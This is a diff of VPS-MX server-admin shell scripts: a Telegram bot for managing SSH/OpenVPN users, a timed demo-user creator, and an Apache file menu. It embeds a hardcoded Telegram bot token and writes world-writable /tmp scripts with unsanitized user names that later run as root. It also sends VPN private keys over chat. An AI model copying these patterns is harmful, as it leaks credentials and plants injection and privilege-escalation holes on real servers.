+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	else
+		i=1
+		local bot_retorno="$LINE \n"
+		bot_retorno+="$(fun_trans "SUBDOMINIOS ENCONTRADOS") \n$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		unset bot_retorno
+		while read hostreturn; do
+			local bot_retorno+="$hostreturn \n"
+			if [[ $i -gt 20 ]]; then
+				ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+				--text "*$(echo -e $bot_retorno)*" \
+				--parse_mode markdown
+				unset bot_retorno
+				unset i
+			fi
+			let i++
+		done <<<"$RETURN"
+		[[ ! -z $bot_retorno ]] && {
+			ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+			--text "*$(echo -e $bot_retorno)*" \
+			--parse_mode markdown
+		}
+	fi
+}
+
+openadd_fun() {
+	[[ $(dpkg --get-selections | grep -w "openvpn" | head -1) ]] || return 0
+	[[ -e /etc/openvpn/openvpn-status.log ]] || return 0
+	newclient "$nomeuser" "$senhauser"
+	[[ -z $1 ]] && client="adm" || client="$1"
+	cp /etc/openvpn/client-common.txt $HOME/$client.ovpn
+	echo "<key>
+ $(cat /etc/openvpn/client-key.pem)
+ </key>
+ <cert>
+ $(cat /etc/openvpn/client-cert.pem)
+ </cert>
+ <ca>
+ $(cat /etc/openvpn/ca.pem)
+ </ca>" >>$HOME/$client.ovpn
+	[[ ! -z $1 ]] && [[ ! -z $2 ]] && sed -i "s;auth-user-pass;<auth-user-pass> \n$1 \n$2 \n</auth-user-pass>;g" $HOME/$client.ovpn
+	local bot_retorno="$LINE \n"
+	bot_retorno+="$(fun_trans "Para Generar Archivos Con Autenticación Automatica Utilice"): \n/openadd usuario senha \n$LINE \n"
+	bot_retorno+="$(fun_trans "ARCHIVO OPENVPN GENERADO CON EXITO") \n"
+	bot_retorno+="$LINE \n"
+	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+	--text "$(echo -e $bot_retorno)" \
+	--parse_mode markdown
+	local bot_retorno2
+	ShellBot.sendDocument --chat_id ${message_chat_id[$id]} \
+	--document @$HOME/$client.ovpn
+	rm $HOME/$client.ovpn
+	return 0
+}
+cript_fun() {
+	if [[ -z $2 ]]; then
+		local bot_retorno="$LINE \n"
+		bot_retorno+="$(fun_trans "Modo de uso"): \n"
+		bot_retorno+="/criptar texto_for_cript \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "_$(echo -e $bot_retorno)_" \
+		--parse_mode markdown
+		return 0
+	else
+		local array=($@)
+		for ((i = 1; i <= ${#array[@]}; i++)); do
+			unset txtofus
+			local number=$(expr length "${array[$i]}")
+			for ((e = 1; e < $number + 1; e++)); do
+				local txt[$e]=$(echo "${array[$i]}" | cut -b $e)
+				case ${txt[$e]} in
+				".") txt[$e]="#" ;;
+				"#") txt[$e]="." ;;
+				"1") txt[$e]="%" ;;
+				"%") txt[$e]="1" ;;
+				"2") txt[$e]="?" ;;
+				"?") txt[$e]="2" ;;
+				"3") txt[$e]="&" ;;
+				"&") txt[$e]="3" ;;
+				"/") txt[$e]="!" ;;
+				"!") txt[$e]="/" ;;
+				"a") txt[$e]="k" ;;
+				"k") txt[$e]="a" ;;
+				"s") txt[$e]="w" ;;
+				"w") txt[$e]="s" ;;
+				"h") txt[$e]="y" ;;
+				"y") txt[$e]="h" ;;
+				"o") txt[$e]="P" ;;
+				"P") txt[$e]="o" ;;
+				"v") txt[$e]="T" ;;
+				"T") txt[$e]="v" ;;
+				"f") txt[$e]="Z" ;;
+				"Z") txt[$e]="f" ;;
+				esac
+				txtofus+="${txt[$e]}"
+			done
+			[[ -z $returntxt ]] && returntxt="$(echo $txtofus | rev)" || returntxt="$returntxt $(echo $txtofus | rev)"
+		done
+		unset txtofus
+		local bot_retorno="$LINE \n"
+		bot_retorno+="$(fun_trans "SU TEXTO ENCRIPTADO O DESCRIPTADO"): \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "*$(echo -e $bot_retorno)*" \
+		--parse_mode markdown
+		local bot_retorno="$returntxt \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "_$(echo -e $bot_retorno)_" \
+		--parse_mode markdown
+	fi
+}
+language_fun() {
+	if [[ -z $2 || -z $3 ]]; then
+		local bot_retorno="$LINE \n"
+		bot_retorno+=" -->>> MODO DE USO \n"
+		bot_retorno+="$LINE \n"
+		bot_retorno+="/lang (pt, fr, es, en...) (text) \n"
+		bot_retorno+="/lang es Hello \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "_$(echo -e $bot_retorno)_" \
+		--parse_mode markdown
+		return 0
+	else
+		local array=($@)
+		local RETORNO
+		for ((i = 2; i <= ${#array[@]}; i++)); do
+			local RET=$(source trans -b :$2 "${array[$i]}")
+			[[ -z $RETORNO ]] && RETORNO=$RET || RETORNO="$RETORNO $RET"
+		done
+		local bot_retorno="$LINE \n"
+		bot_retorno+="* Su Traduccion: * \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "*$(echo -e $bot_retorno)*" \
+		--parse_mode markdown
+		bot_retorno="$(echo $RETORNO | sed -e 's/[^a-z0-9 -]//ig') \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "_$(echo -e $bot_retorno)_" \
+		--parse_mode markdown
+		return 0
+	fi
+}
+teste_fun() {
+	local bot_retorno="$LINE \n"
+	bot_retorno+="$(fun_trans "USUARIO"): ${chatuser} \n"
+	bot_retorno+="$(fun_trans "ARGUMENTOS"): ${comando[@]} \n"
+	bot_retorno+="$LINE \n"
+	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+	--text "_$(echo -e $bot_retorno)_" \
+	--parse_mode markdown
+	#local bot_retorno="$LINE \n"
+	#          bot_retorno+="$(fun_trans "ESSE USUARIO"): ${chatuser} \n"
+	#          bot_retorno+="$(fun_trans "ESSES ARGUMENTOS"): ${comando[@]} \n"
+	#          bot_retorno+="$LINE \n"
+	#          ShellBot.editMessageText --chat_id ${message_chat_id[$id]} --message_id ${reply_to_message_message_id[$id]} --text "$(echo -e $bot_retorno)" --parse_mode markdown
+	#return 0
+}
+
+## RENOVAR USUSARIO
+
+renew_user_fun() {
+	#nome dias
+	fail_fun() {
+		local bot_retorno="*$LINE* \n"
+		bot_retorno+=" -->>> MODO DE USO \n"
+		bot_retorno+="*$LINE* \n"
+		bot_retorno+="/renovar usuario dias \n"
+		bot_retorno+="_Ejemplo:_ \n"
+		bot_retorno+="/renovar CARLOS 30 \n"
+		bot_retorno+="*$LINE* \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		unset bot_retorno
+		return 0
+	}
+	[[ "$1" = "" ]] && fail_fun && return 0
+	[[ "$2" = "" ]] && fail_fun && return 0
+	error_fun() {
+		local bot_retorno="*$LINE* \n"
+		bot_retorno+="*❗️ USUARIO NO REGISTRADO  ❗️* \n"
+		bot_retorno+="*$LINE* \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+
+		return 0
+	}
+
+	[[ -z $1 ]] && error_fun && return 0
+	cup1="$1"
+	userva="$(cat /etc/VPS-MX/VPS-MXuser | grep -w "$cup1" | cut -d'|' -f1)"
+
+	[[ -z $userva ]] && error_fun && return 0
+
+	datexp=$(date "+%F" -d " + $2 days") && valid=$(date '+%C%y-%m-%d' -d " + $2 days")
+	chage -E $valid $1 2>/dev/null || return 1
+	[[ -e ${USRdatabase} ]] && {
+		newbase=$(cat ${USRdatabase} | grep -w -v "$1")
+		useredit=$(cat ${USRdatabase} | grep -w "$1")
+		pass=$(echo $useredit | cut -d'|' -f2)
+		limit=$(echo $useredit | cut -d'|' -f4)
+		echo "$1|$pass|${datexp}|$limit" >${USRdatabase}
+		for value in $(echo ${newbase}); do
+			echo $value >>${USRdatabase}
+		done
+	}
+
+	NOM=$(less /etc/VPS-MX/controlador/nombre.log) >/dev/null 2>&1
+	NOM1=$(echo $NOM) >/dev/null 2>&1
+	IP="$(cat /etc/VPS-MX/MEUIPvps)"
+
+	local bot_retorno="*$LINE* \n"
+	bot_retorno+="*CUENTA RENOVADA*  \n"
+	bot_retorno+="*$LINE* \n"
+	bot_retorno+="▪️ _Usuario:_ *$1*  \n"
+	bot_retorno+="▪️ _Dias Agregados:_  *$2*  \n"
+	bot_retorno+="🕰 _Ahora expira:_ \n👉 *$datexp*  \n"
+	bot_retorno+="*$LINE* \n"
+	bot_retorno+="▪️ _VPS: _ *$NOM1*  \n"
+	bot_retorno+="▪️ _IP:_ *$IP*  \n"
+	bot_retorno+="*$LINE* \n"
+	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+	--text "$(echo -e $bot_retorno)" \
+	--parse_mode markdown
+
+}
+
+#INFO SSH
+
+info_sshp() {
+	error_fun() {
+		local bot_retorno="*$LINE* \n"
+		bot_retorno+="*MODO DE USO:* \n"
+		bot_retorno+="*$LINE* \n"
+		bot_retorno+="Pon el Comando /SSHI (INGRESA NOMBRE DE USUARIO)  \n"
+		bot_retorno+="*$LINE* \n"
+		bot_retorno+="_Ejemplo: /SSHI NetVPS-xzcmo _ \n"
+		bot_retorno+="*$LINE* \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	}
+
+	[[ -z $1 ]] && error_fun && return 0
+
+	VPSsec=$(date +%s)
+
+	sen=$(cat /etc/VPS-MX/VPS-MXuser | grep -w "$1" | cut -d '|' -f2)
+	[[ -z $sen ]] && sen="???"
+	DateExp="$(cat /etc/VPS-MX/VPS-MXuser | grep -w "$1" | cut -d'|' -f3)"
+	if [[ ! -z $DateExp ]]; then
+		DataSec=$(date +%s --date="$DateExp")
+		[[ "$VPSsec" -gt "$DataSec" ]] && EXPTIME="${red}[EXPIRADA]" || EXPTIME="${gren}[$(($(($DataSec - $VPSsec)) / 86400))]"
+	else
+		EXPTIME="???"
+	fi
+	limit=$(cat /etc/VPS-MX/VPS-MXuser | grep -w "$1" | cut -d '|' -f4)
+	[[ -z $limit ]] && limit="???"
+
+	local bot_retorno="*$LINE* \n"
+	bot_retorno+="*📝 INFO GENERAL SSH 📝* \n"
+	bot_retorno+="*$LINE* \n"
+	bot_retorno+="▪️ Usuario: *$1 * \n"
+	#bot_retorno+="$(fun_trans "Contraseña"): $sen \n"
+	bot_retorno+="▪️ Dias Restantes: *$EXPTIME * \n"
+	bot_retorno+="▪️ Limite de Usuarios: *$limit * \n"
+	bot_retorno+="*$LINE* \n"
+	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+	--text "$(echo -e $bot_retorno)" \
+	--parse_mode markdown
+
+	return 0
+}
+## PID DROPBEAR
+
+droppids() {
+	local pids
+	local port_dropbear=$(ps aux | grep dropbear | awk NR==1 | awk '{print $17;}')
+	cat /var/log/auth.log | grep "$(date | cut -d' ' -f2,3)" >/var/log/authday.log
+	#cat /var/log/auth.log|tail -1000 > /var/log/authday.log
+	local log=/var/log/authday.log
+	local loginsukses='Password auth succeeded'
+	[[ -z $port_dropbear ]] && return 1
+	for port in $(echo $port_dropbear); do
+		for pidx in $(ps ax | grep dropbear | grep "$port" | awk -F" " '{print $1}'); do
+			pids="${pids}$pidx \n"
+		done
+	done
+	for pid in $(echo -e "$pids"); do
+		pidlogs=$(grep $pid $log | grep "$loginsukses" | awk -F" " '{print $3}')
+		i=0
+		for pidend in $pidlogs; do
+			let i++
+		done
+		if [[ $pidend ]]; then
+			login=$(grep $pid $log | grep "$pidend" | grep "$loginsukses")
+			PID=$pid
+			user=$(echo $login | awk -F" " '{print $10}' | sed -r "s/'//g")
+			waktu=$(echo $login | awk -F" " '{print $2"-"$1,$3}')
+			[[ -z $user ]] && continue
+			echo "$user|$PID|$waktu"
+		fi
+	done
+}
+
+## B/U USER
+blo_unb_fun() {
+	error_fun() {
+		local bot_retorno="*$LINE* \n"
+		bot_retorno+="*MODO DE USO:* \n"
+		bot_retorno+="*$LINE* \n"
+		bot_retorno+="Pon el Comando /bloquear (INGRESA NOMBRE DE USUARIO)  \n"
+		bot_retorno+=" \t---- O -----  \n"
+		bot_retorno+="Pon el Comando /desbloquear (INGRESA NOMBRE DE USUARIO)  \n"
+		bot_retorno+="*$LINE* \n"
+		bot_retorno+="_Ejemplo: bloquear Ale2020 _ \n"
+		bot_retorno+="_Ejemplo: desbloquear Ale2020 _ \n"
+		bot_retorno+="*$LINE* \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	}
+
+	[[ -z $1 ]] && error_fun && return 0
+	local USRloked="/etc/VPS-MX/VPS-MX-userlock"
+	local LIMITERLOG="${USRdatabase}/Limiter.log"
+	local LIMITERLOG2="${USRdatabase}/Limiter2.log"
+	if [[ $2 = "-loked" ]]; then
+		[[ $(cat ${USRloked} | grep -w "$1") ]] && return 1
+		echo " $1 (BLOCK-MULTILOGIN) $(date +%r--%d/%m/%y)"
+		limseg="$(less /etc/VPS-MX/controlador/tiemdes.log)"
+		KEY="2012880601:AAEJ3Kk18PGDzW57LpTMnVMn_pQYQKW3V9w"
+		URL="https://api.telegram.org/bot$KEY/sendMessage"
+		MSG="⚠️ AVISO DE VPS: $NOM1 ⚠️
+ 🔹 CUENTA: $1 
+ ❗️📵 BLOCK FIJO/TEMPORAL 📵❗️
+ 🔓( AUTOUNLOCK EN $limseg SEGUNDOS) 🔓"
+		curl -s --max-time 10 -d "chat_id=$IDB1&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null
+
+		pkill -u $1 &>/dev/null
+
+	fi
+	if [[ $(cat ${USRloked} | grep -w "$1") ]]; then
+		usermod -U "$1" &>/dev/null
+		local bot_retorno="*$LINE* \n"
+		bot_retorno+="*⭕️ UNLOCK USUARIO ⭕️* \n"
+		bot_retorno+="*$LINE* \n"
+		bot_retorno+="▪️ _Usuario:_ *$1 * _Desbloqueado_ \n"
+		bot_retorno+="*$LINE* \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+
+		[[ -e ${USRloked} ]] && {
+			newbase=$(cat ${USRloked} | grep -w -v "$1")
+			[[ -e ${USRloked} ]] && rm ${USRloked}
+			for value in $(echo ${newbase}); do
+				echo $value >>${USRloked}
+			done
+		}
+		[[ -e ${LIMITERLOG} ]] && [[ $(cat ${LIMITERLOG} | grep -w "$1") ]] && {
+			newbase=$(cat ${LIMITERLOG} | grep -w -v "$1")
+			[[ -e ${LIMITERLOG} ]] && rm ${LIMITERLOG}
+			for value in $(echo ${newbase}); do
+				echo $value >>${LIMITERLOG}
+				echo $value >>${LIMITERLOG}
+
+			done
+
+		}
+		return 1
+	else
+		usermod -L "$1" &>/dev/null
+		pkill -u $1 &>/dev/null
+
+		droplim=$(droppids | grep -w "$1" | cut -d'|' -f2)
+		kill -9 $droplim &>/dev/null
+
+		echo $1 >>${USRloked}
+
+		local bot_retorno="*$LINE* \n"
+		bot_retorno+="*❌ BLOCK USUARIO ❌* \n"
+		bot_retorno+="*$LINE* \n"
+		bot_retorno+="▪️ _Usuario:_ *$1 * _Bloqueado_ \n"
+		bot_retorno+="*$LINE* \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		#notifi &>/dev/null
+		return 0
+	fi
+
+}
+
+###LECTURA DE USER BLOC
+
+userblock_lee() {
+
+	local HOST="/etc/VPS-MX/VPS-MX-userlock"
+	local RETURN=$(cat $HOST)
+	if [[ -z $RETURN ]]; then
+		local bot_retorno="$LINE \n"
+		bot_retorno+="NINGUN USUARIO BLOQUEADO \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	else
+		i=1
+		local bot_retorno="*$LINE* \n"
+		bot_retorno+="* ❌ USUARIOS BLOQUEADOS ❌* \n$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		unset bot_retorno
+		while read hostreturn; do
+			local bot_retorno+="$hostreturn \n"
+			if [[ $i -gt 25 ]]; then
+				ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+				--text "*$(echo -e $bot_retorno)*" \
+				--parse_mode markdown
+				unset bot_retorno
+				unset i
+			fi
+			let i++
+		done <<<"$RETURN"
+		[[ ! -z $bot_retorno ]] && {
+			ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+			--text "*$(echo -e $bot_retorno)*" \
+			--parse_mode markdown
+		}
+	fi
+
+	local bot_retorno="*$LINE* \n"
+	bot_retorno+="ESTOS SON USUARIOS CON BAN \n"
+	bot_retorno+="*$LINE* \n"
+	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+	--text "*$(echo -e $bot_retorno)*" \
+	--parse_mode markdown
+
+	return 0
+}
+backups() {
+	[[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]}
+	local bot_retorno="$LINE \n"
+	bot_retorno+="ᨉBACKUP DE USUARIOSᨉ \n"
+	bot_retorno+="$LINE \n"
+	ShellBot.sendMessage --chat_id $var \
+	--text "*$(echo -e $bot_retorno)*" \
+	--parse_mode markdown
+	cp ${USRdatabase} $HOME/VPS-MX-Backup-User
+	ShellBot.sendDocument --chat_id $var \
+	--document @$HOME/VPS-MX-Backup-User
+
+	#rm $HOME/VPS-MX-Backup
+	return 0
+}
+
+restabackup() {
+	dirbackup="/root/VPS-MX-Backup-User"
+	local msj
+	VPSsec=$(date +%s)
+	while read line; do
+		nome=$(echo ${line} | cut -d'|' -f1)
+		[[ $(echo $(mostrar_usuarios) | grep -w "$nome") ]] && {
+			msj="$nome [ERROR] \n"
+			[[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]}
+			ShellBot.sendMessage --chat_id $var \
+			--text "*$(echo -e $msj)*" \
+			--parse_mode markdown
+			continue
+		}
+
+		senha=$(echo ${line} | cut -d'|' -f2)
+		DateExp=$(echo ${line} | cut -d'|' -f3)
+		DataSec=$(date +%s --date="$DateExp")
+		[[ "$VPSsec" -lt "$DataSec" ]] && dias="$(($(($DataSec - $VPSsec)) / 86400))" || dias="NP"
+		limite=$(echo ${line} | cut -d'|' -f4)
+
+		add_user "$nome" "$senha" "$dias" "$limite" &>/dev/null && msj="$nome [CUENTA VALIDA] \n" || msj="$nome [CUENTA INVALIDA FECHA EXPIRADA] \n"
+		[[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]}
+		ShellBot.sendMessage --chat_id $var \
+		--text "*$(echo -e $msj)*" \
+		--parse_mode markdown
+	done <${dirbackup}
+	return 0
+}
+
+# LOOP ESCUTANDO O TELEGRAN
+while true; do
+	ShellBot.getUpdates --limit 100 --offset $(ShellBot.OffsetNext) --timeout 30
+	for id in $(ShellBot.ListUpdates); do
+		chatuser="$(echo ${message_chat_id[$id]} | cut -d'-' -f2)"
+		echo $chatuser >&2
+		comando=(${message_text[$id]})
+		case ${comando[0]} in
+		/[Tt]este | [Tt]este) teste_fun & ;;
+		/[Aa]juda | [Aa]juda | [Hh]elp | /[Hh]elp) ajuda_fun & ;;
+		/[Ss]tart | [Ss]tart | [Cc]omecar | /[Cc]omecar) ajuda_fun & ;;
+		/[Ss]SHI | [Ss]SHI) info_sshp "${comando[1]}" & ;;
+		/[Aa]DMIN | [Aa]DMIN) ativarid_fun "${comando[1]}" "${comando[2]}" "$chatuser" ;;
+		*) if [[ ! -z $LIBERADOS ]] && [[ $(echo ${LIBERADOS} | grep -w "${chatuser}") ]]; then
+			case ${comando[0]} in
+
+			##PANEL SSH
+
+			[Oo]nline | /[Oo]nline | [Oo]nlines | /[Oo]nlines) online_fun & ;;
+			[Cc]riptar | /[Cc]riptar | [Cc]ript | /[Cc]ript) cript_fun "${comando[@]}" & ;;
+			[Aa]gregar | /[Aa]gregar) useradd_fun "${comando[1]}" "${comando[2]}" "${comando[3]}" "${comando[4]}" & ;;
+			[Ee]liminar | /[Ee]liminar) userdell_fun "${comando[1]}" & ;;
+			[Rr]enovar | /[Rr]enovar) renew_user_fun "${comando[1]}" "${comando[2]}" & ;;
+			[Bb]loquear | /[Bb]loquear) blo_unb_fun "${comando[1]}" & ;;
+			[Dd]esbloquear | /[Dd]esbloquear) blo_unb_fun "${comando[1]}" & ;;
+			[Vv]erbloqueados | /[Vv]erbloqueados) userblock_lee & ;;
+				##HERRAMIENTAS
+			[Aa]dmins | /[Aa]dmins) loguin_fun & ;;
+			[Ii]nfovps | /[Ii]nfovps) infovps & ;;
+			[Bb]ackup | /[Bb]ackup) backups & ;;
+			[Rr]estarbackup | /[Rr]estarbackup) restabackup & ;;
+			[Ll]ang | /[Ll]ang) language_fun "${comando[@]}" & ;;
+			[Oo]penadd | /[Oo]penadd | [Oo]pen | /[Oo]pen) openadd_fun "${comando[1]}" "${comando[2]}" & ;;
+			[Gg]erar | /[Gg]erar | [Pp]ay | /[Pp]ay) paygen_fun "${comando[1]}" "${comando[2]}" "${comando[3]}" & ;;
+			[Uu]suarios | /[Uu]suarios | [Uu]ser | /[Uu]ser) info_fun & ;;
+			[Ss]can | /[Ss]can) scan_fun "${comando[1]}" & ;;
+
+			*) ajuda_fun ;;
+
+			esac
+		else
+			[[ ! -z "${comando[0]}" ]] && blockfun &
+		fi ;;
+		esac
+	done
+done

+ 89 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/Crear-Demo.sh

@@ -0,0 +1,89 @@
+#!/bin/bash
+ #24/01/2021
+ clear
+ clear
+ msg -bar
+ rm -rf /etc/VPS-MX/demo-ssh 2>/dev/null
+ mkdir /etc/VPS-MX/demo-ssh 2>/dev/null
+ SCPdir="/etc/VPS-MX"
+ SCPusr="${SCPdir}/controlador"
+ 
+ declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+ SCPdir="/etc/VPS-MX"
+ SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
+ SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPinst} ]] && exit
+ 
+ tmpusr () {
+ time="$1"
+ timer=$(( $time * 60 ))
+ timer2="'$timer's"
+ echo "#!/bin/bash
+ sleep $timer2
+ kill"' $(ps -u '"$2 |awk '{print"' $1'"}') 1> /dev/null 2> /dev/null
+ userdel --force $2
+ rm -rf /tmp/$2
+ exit" > /tmp/$2
+ }
+ 
+ tmpusr2 () {
+ time="$1"
+ timer=$(( $time * 60 ))
+ timer2="'$timer's"
+ echo "#!/bin/bash
+ sleep $timer2
+ kill=$(dropb | grep "$2" | awk '{print $2}')
+ kill $kill
+ userdel --force $2
+ rm -rf /tmp/$2
+ exit" > /tmp/$2
+ }
+ echo  -e "$(msg -tit)$(msg -bar) " 
+ msg -ama "        CREAR USUARIO POR TIEMPO (Minutos)"
+ msg -bar
+ echo -e "\033[1;97m Los Usuarios que cres en esta opcion se eliminaran\n automaticamete pasando el tiempo designado.\033[0m"
+ msg -bar
+ 
+ echo -e "\033[1;91m [1]-\033[1;97mNombre del usuario:\033[0;37m"; read -p " " name
+ if [[ -z $name ]]
+ then
+ echo "No a digitado el Nuevo Usuario"
+ exit
+ fi
+ if cat /etc/passwd |grep $name: |grep -vi [a-z]$name |grep -v [0-9]$name > /dev/null
+ then
+ echo -e "\033[1;31mUsuario $name ya existe\033[0m"
+ exit
+ fi
+ echo -e "\033[1;91m [2]-\033[1;97mContraseña para usuario $name:\033[0;37m"; read -p " " pass
+ echo -e "\033[1;91m [3]-\033[1;97mTiempo de Duración En Minutos:\033[0;37m"; read -p " " tmp
+ if [ "$tmp" = "" ]; then
+ tmp="30"
+ echo -e "\033[1;32mFue Definido 30 minutos Por Defecto!\033[0m"
+ msg -bar
+ sleep 2s
+ fi
+ useradd -M -s /bin/false $name
+ (echo $pass; echo $pass)|passwd $name 2>/dev/null
+ touch /tmp/$name
+ tmpusr $tmp $name
+ chmod 777 /tmp/$name
+ touch /tmp/cmd
+ chmod 777 /tmp/cmd
+ echo "nohup /tmp/$name & >/dev/null" > /tmp/cmd
+ /tmp/cmd 2>/dev/null 1>/dev/null
+ rm -rf /tmp/cmd
+ touch /etc/VPS-MX/demo-ssh/$name
+ echo "senha: $pass" >> /etc/VPS-MX/demo-ssh/$name
+ echo "data: ($tmp)Minutos" >> /etc/VPS-MX/demo-ssh/$name
+ msg -bar2
+ echo -e "\033[1;93m ¡¡ USUARIO TEMPORAL x MINUTOS (VPS-MX By @Kalix1) !!\033[0m"
+ msg -bar2
+ echo -e "\033[1;36m  >> IP del Servidor: \033[0m$(meu_ip) " 
+ echo -e "\033[1;36m  >> Usuario: \033[0m$name"
+ echo -e "\033[1;36m  >> Contraseña: \033[0m$pass"
+ echo -e "\033[1;36m  >> Minutos de Duración: \033[0m$tmp"
+ msg -bar2
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ 
+  

+ 97 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/apacheon.sh

@@ -0,0 +1,97 @@
+#!/bin/bash
+#26/01/2021
+clear
+clear
+declare -A cor=([0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m")
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+fun_ip() {
+	MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+	MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
+	[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP"
+}
+IP="$(fun_ip)"
+msg -bar
+msg -tit
+echo -e "\033[1;96m           Gestor de Archivos FTP VPS•MX"
+msg -bar
+echo -e "${cor[4]} [1] >${cor[3]} $(fun_trans "Colocar Archivo Online")"
+echo -e "${cor[4]} [2] >${cor[3]} $(fun_trans "Remover Archivo Online")"
+echo -e "${cor[4]} [3] >${cor[3]} $(fun_trans "Ver Links de Archivos Online")"
+msg -bar
+while [[ ${arquivoonlineadm} != @([1-3]) ]]; do
+	read -p "[1-3]: " arquivoonlineadm
+	tput cuu1 && tput dl1
+done
+case ${arquivoonlineadm} in
+3)
+	[[ -z $(ls /var/www/html) ]] && echo -e "$barra" || {
+		for my_arqs in $(ls /var/www/html); do
+			[[ "$my_arqs" = "index.html" ]] && continue
+			[[ "$my_arqs" = "index.php" ]] && continue
+			[[ -d "$my_arqs" ]] && continue
+			echo -e "\033[1;31m[$my_arqs] \033[1;36mhttp://$IP:81/$my_arqs\033[0m"
+		done
+		msg -bar
+	}
+	;;
+2)
+	i=1
+	[[ -z $(ls /var/www/html) ]] && echo -e "$barra" || {
+		for my_arqs in $(ls /var/www/html); do
+			[[ "$my_arqs" = "index.html" ]] && continue
+			[[ "$my_arqs" = "index.php" ]] && continue
+			[[ -d "$my_arqs" ]] && continue
+			select_arc[$i]="$my_arqs"
+			echo -e "${cor[2]}[$i] > ${cor[3]}$my_arqs - \033[1;36mhttp://$IP:81/$my_arqs\033[0m"
+			let i++
+		done
+		msg -bar
+		echo -e "${cor[5]}$(fun_trans "Seleccione el archivo que desea borrar")"
+		msg -bar
+		while [[ -z ${select_arc[$slct]} ]]; do
+			read -p " [1-$i]: " slct
+			tput cuu1 && tput dl1
+		done
+		arquivo_move="${select_arc[$slct]}"
+		[[ -d /var/www/html ]] && [[ -e /var/www/html/$arquivo_move ]] && rm -rf /var/www/html/$arquivo_move >/dev/null 2>&1
+		[[ -e /var/www/$arquivo_move ]] && rm -rf /var/www/$arquivo_move >/dev/null 2>&1
+		echo -e "${cor[5]}$(fun_trans "Exito!")"
+		msg -bar
+	}
+	;;
+1)
+	i="1"
+	[[ -z $(ls $HOME) ]] && echo -e "$barra" || {
+		for my_arqs in $(ls $HOME); do
+			[[ -d "$my_arqs" ]] && continue
+			select_arc[$i]="$my_arqs"
+			echo -e "${cor[2]} [$i] > ${cor[3]}$my_arqs"
+			let i++
+		done
+		i=$(($i - 1))
+		msg -bar
+		echo -e "${cor[5]}$(fun_trans "Seleccione el archivo")"
+		msg -bar
+		while [[ -z ${select_arc[$slct]} ]]; do
+			read -p " [1-$i]: " slct
+			tput cuu1 && tput dl1
+		done
+		arquivo_move="${select_arc[$slct]}"
